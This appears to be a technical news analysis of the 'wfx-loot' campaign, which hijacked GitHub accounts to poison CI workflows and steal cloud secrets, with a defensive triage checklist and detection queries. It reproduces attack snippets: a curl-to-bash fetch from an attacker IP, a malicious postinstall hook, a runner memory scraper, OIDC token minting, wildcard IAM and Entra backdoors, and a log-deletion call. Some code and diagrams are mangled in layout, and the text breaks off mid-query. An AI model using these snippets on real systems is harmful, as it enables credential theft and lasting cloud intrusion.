G Fun Facts Online explores advanced technological topics and their wide-ranging implications across various fields, from geopolitics and neuroscience to AI, digital ownership, and environmental conservation.

Hackers Hijack 4,837 GitHub Accounts to Steal Cloud Secrets in CI Pipelines

Hackers Hijack 4,837 GitHub Accounts to Steal Cloud Secrets in CI Pipelines

An automated cyber espionage campaign weaponized 4,837 compromised GitHub accounts between November 10 and November 12, 2026, executing a coordinated attack against continuous integration (CI) pipelines across the global open-source and corporate software ecosystem. The operation, tracked by cybersecurity researchers as wfx-loot, systematically probed more than 61,764 repositories, injected credential-harvesting code into at least 8,093 codebases, and successfully executed malicious extraction routines across more than 1,800 active build environments.

Disclosures published independently by Aikido Security, SafeDep, OX Security, and StepSecurity revealed that the attackers did not exploit an underlying software zero-day within GitHub’s core platform. Instead, they orchestrated a massive, industrial-scale exploitation of trusted developer identities. By abusing legitimately minted personal access tokens, developer command-line authentication artifacts, and compromised bot integrations, the attackers executed an automated playbook designed to strip bare the secrets injected into modern build runners: production cloud provider credentials, OpenID Connect (OIDC) federated identities, cryptographic signing keys, package registry tokens, and enterprise API keys for foundational artificial intelligence models.

The operation bypassed traditional commit reviews, evaded build log retention, and established persistent lateral backdoors within cloud infrastructure that survive standard credential rotations. Software teams worldwide are left untangling a complex web of tainted build runs, compromised cloud role trust documents, and downstream package releases.

                     +--------------------------------------+
                     | Stolen Identity Vectors:             |
                     | - Plaintext ~/.config/gh/hosts.yml   |
                     | - InfoStealer Dumps / Leaked PATs   |
                     +------------------+-------------------+
                                        |
                                        v
                     +--------------------------------------+
                     | Mass Probe Phase (61,764+ Repos)     |
                     | PR: "docs: dependency audit notes"   |
                     | Branch: wfx-docs                     |
                     +------------------+-------------------+
                                        |
       +--------------------------------+--------------------------------+
       | Write Access Confirmed                                          | Direct Push Permissions
       v                                                                 v
+-----------------------------+                           +-----------------------------+
| Vector A: Workflow Poison   |                           | Vector B: Hook Injection    |
| commit: "ci: refresh cache" |                           | commit: "chore: add helper" |
| 1,500-line Bash into YAML   |                           | npm postinstall script hook |
+--------------+--------------+                           +--------------+--------------+
               |                                                         |
               +------------------------+--------------------------------+
                                        |
                                        v
                     +--------------------------------------+
                     | Runner Memory & Environment Dumper   |
                     | - Runner.Worker / /proc/$PID/mem     |
                     | - ${{ toJSON(secrets) }}             |
                     | - Cloud & AI Tokens (AWS/GCP/Azure)  |
                     +------------------+-------------------+
                                        |
                                        v
                     +--------------------------------------+
                     | Cloud Workload Identity Subversion   |
                     | - Mint GitHub OIDC via Actions API   |
                     | - sts:AssumeRoleWithWebIdentity      |
                     +------------------+-------------------+
                                        |
       +--------------------------------+--------------------------------+
       | Persistence Established                                         | Forensic Scrubbing
       v                                                                 v
+-----------------------------+                           +-----------------------------+
| AWS: Trust Policy -> "*"    |                           | GitHub API deletes run logs |
| Azure: Add "wfx-ci-*" creds |                           | Commit reverted in <60 secs |
| Status checks forged        |                           | Artifact: Missing Run ID    |
+-----------------------------+                           +-----------------------------+

The Scale of the Breach: Industrialized Compromise of the Build Graph

At 12:45 UTC on Tuesday, November 10, automated infrastructure operated by the threat group began executing automated API calls against GitHub endpoints. Over the subsequent 48 hours, security monitoring systems registered hundreds of thousands of requests originating from IP addresses linked to command-and-control servers in Eastern Europe and Singapore.

The primary target was not source code repositories for intellectual property theft, but rather the compute environments that compile, package, and release modern software. Modern software development relies on continuous integration and continuous deployment (CI/CD) pipelines. Whenever a programmer pushes code, GitHub spins up an automated virtual machine—a runner—configured to run automated tests, compile source code, and deploy artifacts to public clouds such as Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure. To perform these tasks, runners are routinely provisioned with the most sensitive secrets an organization owns.

The wfx-loot campaign mapped the access topologies of 4,837 distinct developer profiles. These were not dummy accounts or throwaway spam profiles; they were active, legitimate developers who maintained repositories, contributed to major open-source utilities, and held collaborator permissions across enterprise GitHub organizations.

The attack rapidly scaled across four distinct metrics:

  1. Reconnaissance Volume: Over 66,200 probe pull requests were submitted across 61,764 unique repositories.
  2. Collaborator Boundary Crossings: At least 10,431 of those requests were opened inside repositories the compromised user accounts did not own, reaching internal corporate organizations and popular public projects via inherited collaborator write permissions.
  3. Commit Infiltration: SafeDep tracked malicious payload commits directly injected into the default branches of 8,093 public repositories.
  4. Execution and Extraction: Aikido Security confirmed the secret-harvesting engine achieved successful execution in at least 1,835 repositories, exfiltrating the full operational credential store of those projects back to attacker-controlled infrastructure.

The campaign demonstrates an escalation in supply chain methodology. The attackers recognized that a developer's security perimeter is not bounded by what they own, but by everything their credentials can touch. Once access was verified, the campaign moved at machine speed, frequently deploying payloads, executing data extraction pipelines, and sanitizing the forensic record within 60 seconds.


The Identity Vector: How Stolen Credentials Armed the Campaign

The foundation of the campaign was an extensive credential library. Researchers investigating the incident found no evidence of an authentication bypass vulnerability within GitHub's identity management systems. The intrusion was powered entirely by legitimate credentials acquired prior to the campaign.

A technical analysis of the compromised commit signatures provided the first critical clue. The commits were authored under the authentic display names and GitHub-provided noreply email addresses of the victim developers. However, none of the commits carried cryptographic GPG, SSH, or S/MIME signatures. This established that the adversaries had not compromised the private cryptographic signing keys stored on developers' physical hardware. Instead, they were authenticating through the GitHub REST and GraphQL APIs using stolen Personal Access Tokens (PATs) and OAuth tokens.

+--------------------------------------------------------------------------+
| Typical Workstation Token Leakage Primitive                              |
|                                                                          |
| $ cat ~/.config/gh/hosts.yml                                             |
| github.com:                                                              |
|     user: octocat-developer                                              |
|     oauth_token: gho_AbC123xYz456...  <-- Long-lived, unscoped write token|
|     git_protocol: https                                                  |
+--------------------------------------------------------------------------+

One developer victim, disclosing details within public pull request threads, confirmed that an OAuth token issued to the GitHub Command Line Interface (gh) had been weaponized. The official GitHub CLI tool, used widely by software engineers to manage issues, pull requests, and releases directly from terminals, stores OAuth access tokens on disk. On Linux and macOS systems where the system keyring is unconfigured or bypassed, gh saves authentication tokens in plaintext inside ~/.config/gh/hosts.yml.

These tokens possess substantial privileges. They typically inherit full repository write access across any repository the user can push to, including organizational repositories. Unlike ephemeral web session cookies bounded by strict browser sandboxing and multi-factor authentication (MFA) challenges at every critical junction, API personal access tokens and CLI OAuth tokens frequently live for months or years without automated expiration or IP binding.

Security researchers also observed an overlap with historical security events. Developers targeted in the GhostAction campaign—an October 2026 operation that weaponized approximately 1,900 developer accounts to push malicious workflow jobs—were roughly 1,000 times more likely to be targeted during the wfx-loot campaign. In more than 100 repositories, the wfx-loot threat actors located and directly modified workflow files left behind by the GhostAction intruders, appending their own extraction mechanisms to the existing rogue scripts.

This statistical overlap points to the recycling of extensive credentials harvested from information-stealing malware (infostealers) such as Lumma, RedLine, and Vidar. These malware variants systematically harvest local files, shell command histories (.bash_history, .zsh_history), and configuration directories from infected engineer laptops. The adversaries spent weeks aggregating, validating, and cataloging these stolen developer tokens until they reached a critical mass of 4,837 validated accounts.

This systematic exploitation highlights why GitHub account hijacking has shifted from an individual threat into an automated, systemic hazard for corporate software pipelines. When developer workstations are compromised, their identity tokens allow adversaries to skip past traditional zero-trust enterprise network defenses entirely.


Phase 1: High-Velocity Reconnaissance via Probe Pull Requests

The campaign began with automated reconnaissance. Threat actors possessing thousands of stolen API tokens faced a specific challenge: attempting direct pushes against repositories without knowing their current permission levels could trigger notifications, hit repository permission restrictions, or trip audit alerts.

To systematically map out their boundaries, the adversaries implemented an automated probe phase. Across 61,764 code repositories, the hijacked accounts systematically opened pull requests bearing an identical name:

PR Title:  docs: dependency audit notes
Branch:    wfx-docs (or chore/[a-z0-9]{8}, ci-check-[0-9]{4})
Content:   A benign markdown file containing generic documentation strings

The pull request itself did not execute malware. Its purpose was functional telemetry:

  1. Write Access Verification: The GitHub API immediately returns deterministic error codes if a token attempts to branch or open a pull request against a repository where write or contribution permissions have been revoked.
  2. Branch Protection Discovery: The probe revealed whether the target repository enforced branch protections that mandate signed commits, linear history, or administrative approval before changes could merge.
  3. CI Pipeline Trigger Profiling: By monitoring the webhook events triggered by the creation of the pull request, the attacker could observe which continuous integration workflows were automatically scheduled to run on the pull_request event trigger.

More than 91% of these probe pull requests remained completely open and unaddressed days after deployment. In massive mono-repositories or dormant open-source libraries, a routine pull request purporting to offer documentation updates rarely raises alarms.

Of the probe requests, 10,431 targeted external repositories where the hijacked developer was merely registered as an outside collaborator or contributor. This enabled the threat actors to pivot horizontally through developer trust networks. A junior developer with an unmanaged personal GitHub account who held write permissions to an enterprise repository inadvertently exposed their employer's enterprise build pipelines the moment their personal access token leaked.


Phase 2: Infiltration Architecture — The Three Injection Vectors

Once the automated probe confirmed a repository's write permissions and workflow behavior, the threat actors deployed their operational payload. SafeDep’s deep inspection of the 8,093 repositories receiving malicious commits revealed that the attackers did not rely on a single injection method. Instead, they utilized three separate injection pathways depending on the configuration and language ecosystem of the target codebase.

                     Target Repository Analysis
                                 |
         +-----------------------+-----------------------+
         |                                               |
Does .github/workflows/ exist?             Does package.json exist?
         |                                               |
    YES  v                                          YES  v
+-------------------------------+               +-------------------------------+
| Vector A: Workflow Poisoning  |               | Vector B: Postinstall Hook    |
| (7,309 Repositories)          |               | (771 Repositories)            |
| Injects 1,500 lines of Bash   |               | Appends hook to package.json  |
| directly into existing CI job |               | Writes .ci-xxxxxx.sh payload  |
+-------------------------------+               +-------------------------------+
         |                                               |
         +-----------------------+-----------------------+
                                 |
                     Default / Empty Repository
                                 v
                +---------------------------------+
                | Vector C: Ephemeral Workflow    |
                | (16+ Repositories)              |
                | Commits brand new YAML file     |
                | under .github/workflows/        |
                +---------------------------------+

Vector A: Direct Workflow Poisoning (7,309 Repositories)

In the overwhelming majority of victim codebases—7,309 repositories—the attacker targeted pre-existing GitHub Actions configuration files located in the .github/workflows/ directory. Pushing under commit messages designed to mimic routine continuous integration maintenance, such as ci: refresh build cache, the attacker injected approximately 1,500 lines of raw shell script directly into an existing job step.

# Conceptual representation of an injected step in a legitimate workflow
name: Build and Test
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Cache dependencies
        run: |
          # [Legitimate build caching logic preserved]
          
      # Adversary payload injected below under legitimate context:
      - name: Refresh build infrastructure
        run: |
          bash -c "$(curl -fsSL http://194.150.166[.]244:8080/wfx-init.sh || true)"
          # Fallback: Injected inline 1,500-line operational engine

Because the commit was pushed directly to the default branch (such as main or master) by an account holding authentic write permissions, GitHub Actions treated the change as an authorized push event. The standard platform safeguards that restrict pull requests submitted from external forks—such as disabling secret access and requiring manual authorization from a repository maintainer—did not engage. The workflow triggered immediately, carrying the full security scope and secret entitlements granted to the branch.

Vector B: The npm Postinstall Hook Trap (771 Repositories)

In 771 repositories, the threat actors executed a more pervasive infiltration method targeting the Node.js development ecosystem. They pushed commits bearing the message chore: add ci helper, which modified the root package.json file and created an accompanying hidden shell script named .ci-xxxxxx.sh.

The commit appended a script entry to the scripts object inside package.json:

{
  "name": "enterprise-utility",
  "version": "2.4.1",
  "scripts": {
    "test": "jest",
    "build": "tsc",
    "postinstall": "sh .ci-3a8f9b.sh >/dev/null 2>&1 || true"
  }
}

This vector represented an operational escalation because npm automatically executes the postinstall hook whenever dependencies are installed. The script executed within GitHub Actions whenever a workflow step called npm install or npm ci.

Critically, this payload was not confined to CI runners. Any software engineer within the organization who pulled the default branch down to their personal workstation and ran npm install during daily development inadvertently triggered the entire credential-theft script on their local hardware. The script operated with the local developer's native user privileges, exposing local SSH keys, shell configuration profiles, and personal cloud access tokens stored on their physical laptop.

Vector C: Ephemeral Workflow Files (16 Repositories)

In empty code repositories or repositories devoid of continuous integration configurations, the attackers created short-lived throwaway branches matching the regex chore/[a-z0-9]{8}. They initialized the directory structure with a commit titled chore: initial commit followed by chore: add dependency audit workflow.

This added a standalone workflow configuration file: .github/workflows/build-audit-xxxxxx.yml. The workflow was pre-configured with explicit administrative execution permissions (permissions: write-all), ensuring that the temporary runner had unrestricted access to the repository's cryptographic identity, API tokens, and variable store.


Phase 3: Inside the CI Runner — Dissecting the 1,500-Line wfx Payload

Once the runner spun up, the primary malware script began execution. The shell script, which designated itself internally as wfx, was notable for its operational design. It was entirely unobfuscated. Rather than using polymorphic encoding or runtime packers that often trigger endpoint detection and response (EDR) agents or static CI security scanners, the author wrote clean, heavily commented, standard POSIX Bash.

                                  wfx Engine Runtime
                                          |
     +------------------------------------+------------------------------------+
     |                                    |                                    |
     v                                    v                                    v
+-----------------------+    +-----------------------+    +-----------------------+
| 1. Memory Dumping     |    | 2. Secrets Scraping   |    | 3. File System Sweep  |
| /proc/$PID/mem of:    |    | ${{ toJSON(secrets) }}|    | Recursively checks    |
| - Runner.Worker       |    | Matching strings:     |    | ~/.aws/credentials    |
| - Runner.Listener     |    |  * token, pass, cred  |    | ~/.azure, ~/.kube     |
| Extracts runtime keys |    |  * openai, anthropic  |    | ~/.npmrc, ~/.ssh/id_* |
+-----------------------+    +-----------------------+    +-----------------------+

The script acted as an exhaustive vacuum cleaner for software credentials. The payload was systematically divided into several operational stages.

Step 1: Ingesting the Actions Runtime and Secrets Engine

The runner executes jobs within an isolated virtual container, but the runner's parent environment must inject variables and credentials dynamically so that builds can authenticate to infrastructure. The wfx script harvested these through multiple platform channels:

  1. GitHub Context Serialization: In workflow-injected variants, the script utilized GitHub template expressions to dump every encrypted secret and variable assigned to the repository or organization:

   SECRETS_DATA='${{ toJSON(secrets) }}'
   VARS_DATA='${{ toJSON(vars) }}'
   ```
  
2. **Global Environment Regex Harvesting**: The script traversed the operating system's native environment via `/proc/self/environ` and the standard `env` command. It applied intensive pattern-matching filters to extract all variables matching substrings such as `TOKEN`, `SECRET`, `KEY`, `PASS`, `CRED`, `AUTH`, `API`, `AWS`, `AZURE`, `GCP`, `DATABASE`, and `URL`.
3. **AI Ecosystem Keys**: The script contained explicit targeting routines for API keys tied to generative artificial intelligence and automated coding services. It explicitly isolated environment variables configured for OpenAI (`OPENAI_API_KEY`), Anthropic (`ANTHROPIC_API_KEY`), Hugging Face (`HF_TOKEN`), Cursor, and GitHub Copilot runtime tokens. In enterprise development, these keys frequently carry high billing thresholds or direct administrative API permissions without network origin restrictions.

### Step 2: Extracting Process Memory via `/proc/$PID/mem`

The script's most technically sophisticated component was its memory-scraping routine. In hardened GitHub Actions configurations, security-conscious organizations avoid passing raw cloud credentials as persistent environment variables, relying instead on intermediary processes to manage secrets during execution.

To bypass this control, `wfx` targeted the native GitHub Actions runner agent processes. The script executed process discovery commands searching specifically for two executables:
* `Runner.Worker`
* `Runner.Listener`

Running as the unprivileged `runner` user on Linux, the script had native access to inspect the `/proc` virtual file system of any child or sibling process running under the same UID. By parsing `/proc/$PID/maps` to identify readable virtual memory allocations and streaming `/proc/$PID/mem`, the payload parsed runner execution memory. 

This allowed the script to carve unmasked secrets, recently decrypted tokens, internal communication parameters, and OAuth tokens that were present in active process memory but intentionally omitted from the standard shell environment variables.
bash

Deconstructed logic of the wfx process memory scraper

for PID in $(pgrep -f "Runner.Worker|Runner.Listener"); do

grep -E "rw-p" /proc/$PID/maps | awk '{print $1}' | while IFS=- read START END; do

dd if=/proc/$PID/mem bs=1024 skip=$((16#$START / 1024)) \

count=$(((16#$END - 16#$START) / 1024)) 2>/dev/null | \

strings | grep -E "(ghp_[a-zA-Z0-9]{36}|github_pat_[a-zA-Z0-9]{82}|ey[a-zA-Z0-9_-]{10,}\.ey[a-zA-Z0-9_-]{10,})"

done

done

### Step 3: Deep File System Sweeps

The malware moved outward to the file system, programmatically sweeping the user's home directory (`/home/runner` or `/root`), repository checkouts, and system configuration directories. The script recursively identified and copied:

* **Cloud Identity Stores**: `~/.aws/credentials`, `~/.aws/config`, `~/.azure/`, `~/.config/gcloud/`.
* **Container and Orchestration Secrets**: `~/.docker/config.json`, `/var/run/docker.sock`, `~/.kube/config`, and service account tokens located under `/var/run/secrets/kubernetes.io/serviceaccount/`.
* **Package Management Auth Stores**: `~/.npmrc` (frequently containing un-scoped publication tokens for public npm packages), `~/.pypirc` (PyPI deployment tokens), `~/.gem/credentials`, and `~/.cargo/credentials` (Rust crates.io publishing keys).
* **Cryptographic Keys**: Every file matching the extensions `.pem`, `.key`, `.p12`, `.pfx`, `.jks`, `.kdbx` (KeePass password databases), and all private SSH keys located within `~/.ssh/`.
* **Developer History & Context**: Complete shell command logs (`~/.bash_history`, `~/.zsh_history`), `.env` files across the entire file system, the last 100 Git commits of the host repository, and all recently generated workflow build artifacts.

### Step 4: Probing Self-Hosted Runner Infrastructure

The payload adjusted its behavior if it detected that it was executing on an enterprise-managed, self-hosted runner rather than a default, ephemeral GitHub-hosted Azure runner. Default GitHub runners are provisioned as disposable virtual machines destroyed immediately after job completion. Self-hosted runners, conversely, are typically maintained inside an organization’s virtual private cloud (VPC) to facilitate connectivity with private internal databases and production clusters.

When executed on a self-hosted runner, `wfx` executed targeted reconnaissance:

* **Cloud Metadata Service Exploitation**: It probed the local link-local address `http://169.254.169.254/latest/meta-data/` (AWS Instance Metadata Service) to extract underlying EC2 IAM instance profile credentials. If IMDSv2 was unenforced, it acquired temporary role tokens granting lateral movement capabilities into the target cloud environment.
* **Container Daemon Hijacking**: If `/var/run/docker.sock` was exposed, the script mounted the root host file system inside a secondary container, breaking out of the containerized CI workspace to harvest host-level credentials.
* **Host System Enumeration**: It parsed active systemd services, retrieved local runner private RSA configuration keys, and swept local network routing tables.

---

## Phase 4: Exploiting Workload Identity — The OIDC Abuse Primitive

The campaign's most dangerous operational pivot involved the weaponization of OpenID Connect (OIDC) federated identities.

+-------------------+ 1. Request OIDC Token +-------------------+

| GitHub Actions | --------------------------------> | GitHub OIDC Token |

| Runner (wfx) | <-------------------------------- | Service Endpoint |

+-------------------+ Signed JWT Payload +-------------------+

|

| 2. Exchange JWT (sts:AssumeRoleWithWebIdentity)

v

+-------------------+

| Cloud IAM Service |

| (AWS, GCP, Azure) |

+-------------------+

|

| 3. Returns Session Credentials

v

+-------------------+

| Cloud Resources |

| Lateral Movement |

+-------------------+

Modern infrastructure architectures rely on GitHub Actions OIDC to connect workflows to cloud providers without saving permanent, hard-coded API keys in repository settings. Under standard operating models, GitHub provides a secure token service that generates cryptographically signed JSON Web Tokens (JWTs) on the fly. 

A CI job queries internal environment variables—`ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN`—to request a signed OIDC JWT from GitHub's internal identity infrastructure. The workflow then presents this token directly to AWS STS, GCP Security Token Service, or Microsoft Entra ID. The cloud provider validates the signature against GitHub’s public cryptographic keys (`https://token.actions.githubusercontent.com`) and issues temporary cloud access credentials.

The `wfx` engine automated this exchange at runtime. Even if an engineering team had stored zero credentials or secrets within their repository settings, the moment the payload ran, it queried the local Actions token endpoint to mint OIDC tokens tailored for AWS, GCP, and Azure audiences:
bash

Extracting the runtime OIDC token directly inside the job

OIDC_TOKEN=$(curl -sLS \

-H "User-Agent: actions/runner" \

-H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \

"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=sts.amazonaws.com" | jq -r '.value')

Armed with this JWT, the script executed an automated lateral leap into the cloud:

1. **AWS Identity Assumption**: It initiated an AWS STS `AssumeRoleWithWebIdentity` API call. If an AWS role was configured to trust the repository, AWS immediately issued temporary security credentials (`AccessKeyId`, `SecretAccessKey`, `SessionToken`). The script tagged these unauthorized cloud sessions under the automated naming scheme `wfx-*`.
2. **Azure and Microsoft Graph Pivoting**: For Azure workloads, it presented the OIDC token to Microsoft Entra ID to acquire an access token for the Microsoft Graph API.
3. **Vault and Kubernetes Federation**: The script replayed the OIDC token against HashiCorp Vault endpoints and internal Kubernetes API servers configured to accept the GitHub OIDC issuer, unlocking operational infrastructure clusters.

---

## Phase 5: The Cloud Persistence Trap — Wildcard Roles and Entra Backdoors

Most continuous integration intrusions cease operations once credentials are stolen, forcing victims through a predictable remediation sequence: revoke compromised tokens and rotate pipeline secrets.

The authors of wfx-loot built automated persistence mechanisms into their payload that deliberately survive standard secret rotation. If the payload successfully exchanged an OIDC token or acquired administrative cloud credentials, it modified the targeted cloud accounts directly.

Target Cloud Infrastructure

|

+-----------------------+-----------------------+

| |

Target: AWS IAM Target: Azure Entra ID

| |

v v

+-------------------------------+ +-------------------------------+

IAM Trust Policy RewriteRogue Federated Identity
"Principal": {App Registration:
"AWS": ""Name: "wfx-ci-"
}Subject:
repo:victim/repo:ref:refs/
Opens role to ANY AWS accountPermanent OIDC backdoor
+-------------------------------+ +-------------------------------+
### The AWS Wildcard Trust Policy Backdoor

Upon assuming an IAM role inside AWS, the script inspected its own identity permissions. If it held IAM modification entitlements (`iam:UpdateAssumeRolePolicy`), it executed an update against the role's trust relationship document (`AssumeRolePolicyDocument`).

The script modified the role’s trust policy, altering the condition to accept any external principal:
json

{

"Version": "2012-10-17",

"Statement": [

{

"Effect": "Allow",

"Principal": {

"AWS": ""

},

"Action": "sts:AssumeRole"

}

]

}

This single policy modification fundamentally compromised the target AWS account. By setting the principal to `*`, the threat actors transformed a restricted internal deployment role into an open door. The adversaries no longer needed access to GitHub or the victim's repositories; they could simply assume the role directly from their own external AWS accounts at any time. Additionally, the script called `iam:CreateAccessKey` to mint long-lived, static access keys for compromised IAM users, archiving them for downstream command-and-control access.

### The Azure Entra ID Federated Identity Injection

In Microsoft Azure environments, the malware targeted Entra ID (formerly Azure Active Directory) App Registrations using the Microsoft Graph API. 

The script searched for registered application objects associated with the repository’s pipelines. Using the Graph endpoint `/applications/{id}/federatedIdentityCredentials`, the payload added a rogue federated identity credential named with the prefix `wfx-ci-*`. 
json

{

"name": "wfx-ci-auth",

"issuer": "https://token.actions.githubusercontent.com",

"subject": "repo:compromised-org/compromised-repo:ref:refs/heads/main",

"description": "wfx lateral maintenance bridge",

"audiences": ["api://AzureADTokenExchange"]

}

This backdoor was decoupled from static secrets. Even if an engineering team revoked every personal access token, rotated every deployment secret, and changed every administrative password, this rogue federated credential remained anchored inside Entra ID. The adversaries retained the ability to trigger a workflow on the main branch of that repository at any future date to authenticate directly into the enterprise's corporate Azure subscription.

### Forging Branch Protection Checks

To facilitate frictionless persistence, the payload engaged GitHub’s Commit Status API. When repositories enforce branch protection rules, code cannot merge into critical branches unless mandatory status checks (such as automated linting or security scans) return a passing code.

GitHub’s platform architecture traditionally evaluates branch protection status checks based on the *context name* of the check rather than strictly validating the cryptographic identity of the application that posted it. The `wfx` script identified the names of all required passing checks on the repository, and using its inherited write permissions, directly posted forged `success` status reports against its own commits. This neutralized automated merge protections while the payload ran, allowing malicious commits to merge without administrative review.

---

## Phase 6: Subverting the Platform — Ephemeral Commits and Log Scrubbing

A primary reason the wfx-loot campaign achieved such massive scale before public disclosure was its anti-forensic operational discipline. In typical repository defacements or automated supply chain intrusions, malicious commits remain visible in commit trees, inevitably tripping developer alerts or peer reviews.

The wfx-loot threat actors deployed what security analysts term **sandwich commits**. 

Timeline of an Injection Run

------------------------------------------------------------------------------------------------->

T + 0s T + 5s T + 30s T + 55s

| | | |

v v v v

Malicious Commit Workflow Runs Exfiltration "ci: restore" Pushed

"ci: refresh cache" Harvests memory, secrets, Data sent via HTTP POST Commit reverted;

pushed to default cloud OIDC identities or Telegram Bot API GitHub API deletes

branch workflow run and logs

The payload execution followed a precise cadence:

1. **The Infiltration Commit**: The adversary authenticated via a stolen token and pushed the malicious configuration to the target branch under a benign commit message.
2. **The Execution Spike**: The continuous integration runner spun up within seconds, executing the harvest, escalating cloud permissions, and packaging the extracted data.
3. **The Data Transport**: The script compressed the harvest into a gzipped tar archive and exfiltrated the bundle.
4. **The Cleanup Commit**: Within 30 to 60 seconds of initial execution, the attacker pushed a second commit—titled `ci: restore` or `ci: cleanup`—reverting the workflow or `package.json` file back to its exact historical state.
5. **The API Audit Scrub**: Finally, using the inherited write permissions of the stolen token, the attacker sent an automated `DELETE` request to GitHub’s REST API targeting the run identifier of the workflow:
   ```http
   DELETE /repos/{owner}/{repo}/actions/runs/{run_id} HTTP/1.1
   Host: api.github.com
   Authorization: Bearer <STOLEN_TOKEN>
   ```
  

This operational sequence left the default branch clean. A developer glancing at their project repository would see no modified workflows, no failed build notifications, and no rogue branches. 

Crucially, deleting a workflow run via the GitHub API permanently purges the console logs of that run from the interface. The only visible forensic artifact left behind on the GitHub platform was a missing integer in the sequential workflow run counter—for example, a repository's history skipping directly from Workflow Run #1042 to Run #1044. Unless engineering teams actively ingested enterprise organization audit logs, the execution left virtually no trace.

---

## Data Transport: Evolving Exfiltration and Covert Channels

The transport mechanics chosen by the wfx-loot operators evolved as cybersecurity monitoring teams began deploying defensive countermeasures.

Initially, the malware assembled its collected credentials, memory dumps, and cloud profiles into a gzipped tarball and exfiltrated the archive over raw HTTP POST requests to port 8080 across dedicated C2 servers:
* `194.150.166[.]244:8080/exfil`
* `18.143.168[.]96:8080/exfil`
* `153.75.82[.]159:8080`


By November 12 at approximately 05:30 UTC, network defense vendors and hosting providers began blacklisting these IP addresses. Recognizing that egress HTTP requests were failing, the threat actors modified the operational script on active deployments, pivoting their primary exfiltration transport channel to the official Telegram Bot API. 

Because modern corporate firewall perimeter rules frequently whitelist traffic to common API endpoints such as `api.telegram.org` to support legitimate alerting workflows, the exfiltration traffic bypassed edge network perimeter filters. Approximately 20% of the sample payloads analyzed by SafeDep utilized Telegram channels exclusively.

wfx Multi-Channel Exfiltration Tree

|

+----------------------------+----------------------------+

| | |

v v v

+------------------+ +------------------+ +------------------+

| Primary (Public) | | Fallback Network | | Covert Platform |

| HTTP POST /exfil | | Telegram Bot API | | (Designed for |

| Port 8080 | | api.telegram.org | | Private Repos) |

| Known IP Blocks | | Encrypted HTTPS | | - Actions Cache |

+------------------+ +------------------+ | - Artifact Store |

| - Step Summaries |

+------------------+

An inspection of the underlying shell code revealed a fallback exfiltration matrix specifically engineered for heavily restricted enterprise networks. The malware author built three native platform covert channels that repurposed GitHub's own infrastructure to extract secrets when outbound internet connections were blocked:

1. **Actions Cache API**: The script contained routines to store the harvested credential tarball directly into GitHub’s internal caching service, tagging it with a specific cache key that could be programmatically retrieved later by an external workflow run.
2. **Step Summary Embedding**: For archive payloads smaller than 700 KB, the script base64-encoded the data and appended it directly to the GitHub Step Summary report between distinct HTML comment tags: `<!--WFX-BEGIN-->` and `<!--WFX-END-->`.
3. **Artifact Upload Engine**: The script contained logic to package the stolen data and upload it as a generic workflow build artifact designated as `wfx-loot-<run_id>`.

While these internal channels were disabled in public sample executions, their presence indicates the tooling was engineered to compromise air-gapped or network-restricted private enterprise repositories.

---

## Collateral Fallout: The Supply Chain Secondary Shockwave

The wfx-loot campaign prioritized harvesting operational credentials rather than injecting downstream package backdoors. However, the scale of the intrusion triggered immediate secondary compromises across software package registries.

Among the 4,837 hijacked GitHub accounts, at least 50 developers maintained administrative publishing rights for major package ecosystems, including npm, PyPI, the Go ecosystem, crates.io, and Packagist. In several instances, the automated commits injected into these projects interacted with CI pipelines configured to build and publish releases automatically whenever the default branch advanced.

This automation triggered poisoned downstream package releases:

* **Packagist (PHP)**: The package `digitalelvis/neuronai-studio` released version `3.14.3` containing the malicious execution hooks. Aikido Security issued critical advisories urging developers to treat any workstation or server that installed this version as completely compromised.
* **Go Modules**: The Go module `github.com/onuragtas/docker-env` published tags `v1.0.278`, `v1.0.280`, and `v1.0.282` containing the malicious payload embedded inside its workflow files. While standard Go compilation builds do not execute CI workflow files directly, the tags required immediate deprecation.
* **WebdriverIO Infrastructure**: The attackers accessed 28 repositories within the open-source automation framework **WebdriverIO**. They authenticated using compromised tokens tied to the official project bot account, `wdio-bot`. Because maintainers quickly isolated the bot's credentials, no malicious npm packages were published to the registry.
* **Fly.io Integration Tokens**: Security firm StepSecurity reported that 173 probe pull requests were initiated using tokens issued to the Fly.io GitHub application. While researchers found no evidence of a security breach inside Fly.io's core cloud infrastructure, the incident illustrated how compromised application integration tokens can be abused as launchpads for downstream probing.

The downstream effects highlight the fragility of multi-tier software pipelines. The boundary between a developer's repository maintenance access and the security of upstream package registries is often mediated entirely by unmonitored CI tokens.

---

## Forensics and Remediation: The Incident Response Playbook

For enterprise security operations centers (SOCs) and AppSec engineering teams, responding to this campaign requires looking beyond simple password resets. Because the malware actively planted self-sustaining backdoors inside cloud environments, incident response procedures must cover both the repository source environment and connected cloud estates.

INCIDENT RESPONSE: wfx-loot TRIAGE PROTOCOL

Phase 1: Identification & Containment


[ ] Query GitHub Audit Logs for branch creations:

- "wfx-docs", "chore/", "ci-check-"

[ ] Scan commit history for signature commit strings:

- "ci: refresh build cache", "chore: add ci helper"

- "chore: add dependency audit workflow", "ci: restore"

[ ] Identify missing workflow run IDs across Actions history

[ ] Revoke author tokens: Terminate PATs, OAuth CLI grants, and active sessions

Phase 2: Cloud Forensic Sweep


[ ] AWS: Query CloudTrail for sts:AssumeRoleWithWebIdentity sessions:

- Session Name: "wfx-"

[ ] AWS: Audit IAM Role Trust Policies:

- Flag any policy containing "Principal": { "AWS": "" }

[ ] AWS: List IAM access keys generated since November 10, 2026

[ ] Azure: Audit Entra ID App Registrations:

- Delete any Federated Identity Credential starting with "wfx-ci-"

[ ] GCP: Review Audit Logs for GenerateAccessToken and SignJwt calls

originating from GitHub Workload Identity Pools

Phase 3: Workstation Isolation


[ ] Scan developer workstations for executions of "package.json" containing

modified postinstall scripts

[ ] Invalidate developer SSH keys, GPG keys, and local AWS ~/.aws/credentials

for any engineer who pulled default branches during the incident window

### Detection Queries

To locate malicious actions within enterprise GitHub environments, administrators should run the following telemetry searches across their environments:

#### GitHub Enterprise Audit Log Query
text

action:repo.create_pull_request AND pull_request.title:"docs: dependency audit notes"

action:workflow_run.delete

#### AWS CloudTrail Athena Query
sql

SELECT eventTime, eventName, userIdentity.arn, requestParameters

FROM cloudtrail_logs

WHERE eventTime >= '2026-11-10T00:00:00Z'

